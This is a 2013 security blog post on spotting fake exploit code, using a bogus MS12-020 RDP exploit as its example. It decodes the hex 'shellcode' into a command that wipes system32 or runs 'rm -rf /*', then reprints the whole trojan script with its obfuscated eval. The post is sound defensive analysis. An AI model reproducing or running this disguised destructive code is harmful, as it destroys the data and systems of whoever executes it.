Tuesday, July 30, 2013

Identifying fake shellcode - quick guide

Identifying the fakes

Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).

Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity.

It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.

Let's have a look on the exploit mentioned.

Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/)

Note 2: 
Looking at the code, there are 2 parts where a shellcode can be identified.

Section 1

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

Section 2

 #bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"


The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.

An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.

eg:

echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Will produce the following results:

 __import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with  the rm -rf replaced with something more insidious


So this is just another fake exploit that will try to identify the system and execute a deletion.



Below is the code of this fake, please don't use it

#!/usr/bin/env python
# greating n4sss and foreach my friends and luk3r-C
# xsdev@outlook.com
# rdpxs.py
# MS12-020 RDP, remote exploit code execution
# on all patch machines, XP to 7
# testado nas versoes windows 7 xp e vista com patch.
#
# Author: xscholler

import struct
import socket
import sys
import os

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

argument = "\x90" * 214

#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

xst = xscholler + argument

class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __imPORT__("__builtin__").__dict__ #
self.shellcode = shellcode

def parse(self, address, shellcode):
fucker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #PORT bytes
linha = struct.pack(">I", 0x8fe2fb63) #pop eax
linha += struct.pack(">I", 0x8fe2fb58) #push esp
linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
linha += struct.pack(">I", 0x8fe2db10) #call strcpy
linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET
linha += struct.pack(">I", 0xffffffff) #value to store in ecx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += fucker[0] #add the prelude
linha += fucker[1] #add the packed IP address
linha += fucker[2] #add the packed PORT
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back
to original value
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[fucker[0]] #reader for the linha shellcode/data

return str(read(shellcode)), linha

def connect(self, address):
self.linha_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)

def xst_sendall(self):
super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])


if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpxs.py IP"

else:
ALVO = sys.argv[1]
PORT = 3389 #default RDP PORT

print "[*] Rodando rdpxs"
print
s = RDPsocket(xst, shellcode)
print "[+] Conectando e configurando payload. . ."
print "[+] isso pode levar alguns minutos..."
s.connect((ALVO, PORT))
print "[+] Conexao estabelecida"
print "[+] Enviando payload. . ."
s.xst_sendall()
response = s.recv(4096)
if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
print "[+] Bem Succedido! Payload enviado e executado com sucesso!."
print "[+] Telnet ALVO na PORT 8888."
else:
print "[-] Failed"
s.close()